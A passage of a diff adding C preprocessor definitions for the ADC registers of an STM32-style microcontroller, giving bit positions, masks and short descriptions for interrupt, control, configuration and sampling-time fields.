0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC group injected contexts queue overflow flag */ + +/******************** Bit definition for ADC_IER register *******************/ +#define ADC_IER_ADRDYIE_Pos (0U) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC ready interrupt */ +#define ADC_IER_EOSMPIE_Pos (1U) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC group regular end of sampling interrupt */ +#define ADC_IER_EOCIE_Pos (2U) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC group regular end of unitary conversion interrupt */ +#define ADC_IER_EOSIE_Pos (3U) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC group regular end of sequence conversions interrupt */ +#define ADC_IER_OVRIE_Pos (4U) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC group regular overrun interrupt */ +#define ADC_IER_JEOCIE_Pos (5U) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC group injected end of unitary conversion interrupt */ +#define ADC_IER_JEOSIE_Pos (6U) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC group injected end of sequence conversions interrupt */ +#define ADC_IER_AWD1IE_Pos (7U) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC analog watchdog 1 interrupt */ +#define ADC_IER_AWD2IE_Pos (8U) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC analog watchdog 2 interrupt */ +#define ADC_IER_AWD3IE_Pos (9U) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC analog watchdog 3 interrupt */ +#define ADC_IER_JQOVFIE_Pos (10U) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC group injected contexts queue overflow interrupt */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0U) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC enable */ +#define ADC_CR_ADDIS_Pos (1U) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC disable */ +#define ADC_CR_ADSTART_Pos (2U) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC group regular conversion start */ +#define ADC_CR_JADSTART_Pos (3U) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC group injected conversion start */ +#define ADC_CR_ADSTP_Pos (4U) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC group regular conversion stop */ +#define ADC_CR_JADSTP_Pos (5U) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC group injected conversion stop */ +#define ADC_CR_ADVREGEN_Pos (28U) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC voltage regulator enable */ +#define ADC_CR_DEEPPWD_Pos (29U) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC deep power down enable */ +#define ADC_CR_ADCALDIF_Pos (30U) +#define ADC_CR_ADCALDIF_Msk (0x1UL << ADC_CR_ADCALDIF_Pos) /*!< 0x40000000 */ +#define ADC_CR_ADCALDIF ADC_CR_ADCALDIF_Msk /*!< ADC differential mode for calibration */ +#define ADC_CR_ADCAL_Pos (31U) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC calibration */ + +/******************** Bit definition for ADC_CFGR register ******************/ +#define ADC_CFGR_DMAEN_Pos (0U) +#define ADC_CFGR_DMAEN_Msk (0x1UL << ADC_CFGR_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC_CFGR_DMAEN ADC_CFGR_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC_CFGR_DMACFG_Pos (1U) +#define ADC_CFGR_DMACFG_Msk (0x1UL << ADC_CFGR_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC_CFGR_DMACFG ADC_CFGR_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC_CFGR_RES_Pos (3U) +#define ADC_CFGR_RES_Msk (0x3UL << ADC_CFGR_RES_Pos) /*!< 0x00000018 */ +#define ADC_CFGR_RES ADC_CFGR_RES_Msk /*!< ADC data resolution */ +#define ADC_CFGR_RES_0 (0x1UL << ADC_CFGR_RES_Pos) /*!< 0x00000008 */ +#define ADC_CFGR_RES_1 (0x2UL << ADC_CFGR_RES_Pos) /*!< 0x00000010 */ + +#define ADC_CFGR_EXTSEL_Pos (5U) +#define ADC_CFGR_EXTSEL_Msk (0x1FUL << ADC_CFGR_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR_EXTSEL ADC_CFGR_EXTSEL_Msk /*!< ADC group regular external trigger source */ +#define ADC_CFGR_EXTSEL_0 (0x1UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR_EXTSEL_1 (0x2UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR_EXTSEL_2 (0x4UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR_EXTSEL_3 (0x8UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR_EXTSEL_4 (0x10UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR_EXTEN_Pos (10U) +#define ADC_CFGR_EXTEN_Msk (0x3UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR_EXTEN ADC_CFGR_EXTEN_Msk /*!< ADC group regular external trigger polarity */ +#define ADC_CFGR_EXTEN_0 (0x1UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR_EXTEN_1 (0x2UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR_OVRMOD_Pos (12U) +#define ADC_CFGR_OVRMOD_Msk (0x1UL << ADC_CFGR_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR_OVRMOD ADC_CFGR_OVRMOD_Msk /*!< ADC group regular overrun configuration */ +#define ADC_CFGR_CONT_Pos (13U) +#define ADC_CFGR_CONT_Msk (0x1UL << ADC_CFGR_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR_CONT ADC_CFGR_CONT_Msk /*!< ADC group regular continuous conversion mode */ +#define ADC_CFGR_AUTDLY_Pos (14U) +#define ADC_CFGR_AUTDLY_Msk (0x1UL << ADC_CFGR_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR_AUTDLY ADC_CFGR_AUTDLY_Msk /*!< ADC low power auto wait */ +#define ADC_CFGR_ALIGN_Pos (15U) +#define ADC_CFGR_ALIGN_Msk (0x1UL << ADC_CFGR_ALIGN_Pos) /*!< 0x00008000 */ +#define ADC_CFGR_ALIGN ADC_CFGR_ALIGN_Msk /*!< ADC data alignment */ +#define ADC_CFGR_DISCEN_Pos (16U) +#define ADC_CFGR_DISCEN_Msk (0x1UL << ADC_CFGR_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR_DISCEN ADC_CFGR_DISCEN_Msk /*!< ADC group regular sequencer discontinuous mode */ + +#define ADC_CFGR_DISCNUM_Pos (17U) +#define ADC_CFGR_DISCNUM_Msk (0x7UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR_DISCNUM ADC_CFGR_DISCNUM_Msk /*!< ADC group regular sequencer discontinuous number of ranks */ +#define ADC_CFGR_DISCNUM_0 (0x1UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR_DISCNUM_1 (0x2UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR_DISCNUM_2 (0x4UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR_JDISCEN_Pos (20U) +#define ADC_CFGR_JDISCEN_Msk (0x1UL << ADC_CFGR_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR_JDISCEN ADC_CFGR_JDISCEN_Msk /*!< ADC group injected sequencer discontinuous mode */ +#define ADC_CFGR_JQM_Pos (21U) +#define ADC_CFGR_JQM_Msk (0x1UL << ADC_CFGR_JQM_Pos) /*!< 0x00200000 */ +#define ADC_CFGR_JQM ADC_CFGR_JQM_Msk /*!< ADC group injected contexts queue mode */ +#define ADC_CFGR_AWD1SGL_Pos (22U) +#define ADC_CFGR_AWD1SGL_Msk (0x1UL << ADC_CFGR_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR_AWD1SGL ADC_CFGR_AWD1SGL_Msk /*!< ADC analog watchdog 1 monitoring a single channel or all channels */ +#define ADC_CFGR_AWD1EN_Pos (23U) +#define ADC_CFGR_AWD1EN_Msk (0x1UL << ADC_CFGR_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR_AWD1EN ADC_CFGR_AWD1EN_Msk /*!< ADC analog watchdog 1 enable on scope ADC group regular */ +#define ADC_CFGR_JAWD1EN_Pos (24U) +#define ADC_CFGR_JAWD1EN_Msk (0x1UL << ADC_CFGR_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR_JAWD1EN ADC_CFGR_JAWD1EN_Msk /*!< ADC analog watchdog 1 enable on scope ADC group injected */ +#define ADC_CFGR_JAUTO_Pos (25U) +#define ADC_CFGR_JAUTO_Msk (0x1UL << ADC_CFGR_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR_JAUTO ADC_CFGR_JAUTO_Msk /*!< ADC group injected automatic trigger mode */ + +#define ADC_CFGR_AWD1CH_Pos (26U) +#define ADC_CFGR_AWD1CH_Msk (0x1FUL << ADC_CFGR_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR_AWD1CH ADC_CFGR_AWD1CH_Msk /*!< ADC analog watchdog 1 monitored channel selection */ +#define ADC_CFGR_AWD1CH_0 (0x01UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR_AWD1CH_1 (0x02UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR_AWD1CH_2 (0x04UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR_AWD1CH_3 (0x08UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR_AWD1CH_4 (0x10UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x40000000 */ + +#define ADC_CFGR_JQDIS_Pos (31U) +#define ADC_CFGR_JQDIS_Msk (0x1UL << ADC_CFGR_JQDIS_Pos) /*!< 0x80000000 */ +#define ADC_CFGR_JQDIS ADC_CFGR_JQDIS_Msk /*!< ADC group injected contexts queue disable */ + +/******************** Bit definition for ADC_CFGR2 register *****************/ +#define ADC_CFGR2_ROVSE_Pos (0U) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC oversampler enable on scope ADC group regular */ +#define ADC_CFGR2_JOVSE_Pos (1U) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC oversampler enable on scope ADC group injected */ + +#define ADC_CFGR2_OVSR_Pos (2U) +#define ADC_CFGR2_OVSR_Msk (0x7UL << ADC_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC_CFGR2_OVSR_0 (0x1UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC_CFGR2_OVSR_1 (0x2UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC_CFGR2_OVSR_2 (0x4UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC_CFGR2_OVSS_Pos (5U) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9U) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC oversampling discontinuous mode (triggered mode) for ADC group regular */ +#define ADC_CFGR2_ROVSM_Pos (10U) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC oversampling mode managing interlaced conversions of ADC group regular and group injected */ + +#define ADC_CFGR2_GCOMP_Pos (16U) +#define ADC_CFGR2_GCOMP_Msk (0x1UL << ADC_CFGR2_GCOMP_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_GCOMP ADC_CFGR2_GCOMP_Msk /*!< ADC Gain Compensation mode */ + +#define ADC_CFGR2_SWTRIG_Pos (25U) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x02000000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software Trigger Bit for Sample time control trigger mode */ +#define ADC_CFGR2_BULB_Pos (26U) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x04000000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ +#define ADC_CFGR2_SMPTRIG_Pos (27U) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sample Time Control Trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (29U) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC Low Frequency Trigger */ + +/******************** Bit definition for ADC_SMPR1 register *****************/ +#define ADC_SMPR1_SMP0_Pos (0U) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC channel 0 sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3U) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC channel 1 sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6U) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC channel 2 sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9U) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC channel 3 sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12U) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC channel 4 sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15U) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC channel 5 sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18U) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC channel 6 sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21U) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC channel 7 sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24U) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC channel 8 sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27U) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC channel 9 sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC_SMPR1_SMPPLUS_Pos (31U) +#define ADC_SMPR1_SMPPLUS_Msk (0x1UL << ADC_SMPR1_SMPPLUS_Pos) /*!< 0x80000000 */ +#define ADC_SMPR1_SMPPLUS ADC_SMPR1_SMPPLUS_Msk /*!< ADC channels sampling time additional setting */ + +/******************** Bit definition for ADC_SMPR2 register *****************/ +#define ADC_SMPR2_SMP10_Pos (0U) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC channel 10 sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3U) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC channel 11 sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6U) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC channel 12 sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9U) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC channel 13 sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12U) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC channel 14 sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15U) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC channel 15 sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18U) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC channel 16 sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21U) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC channel 17 sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24U) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC channel 18 sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +/******************** 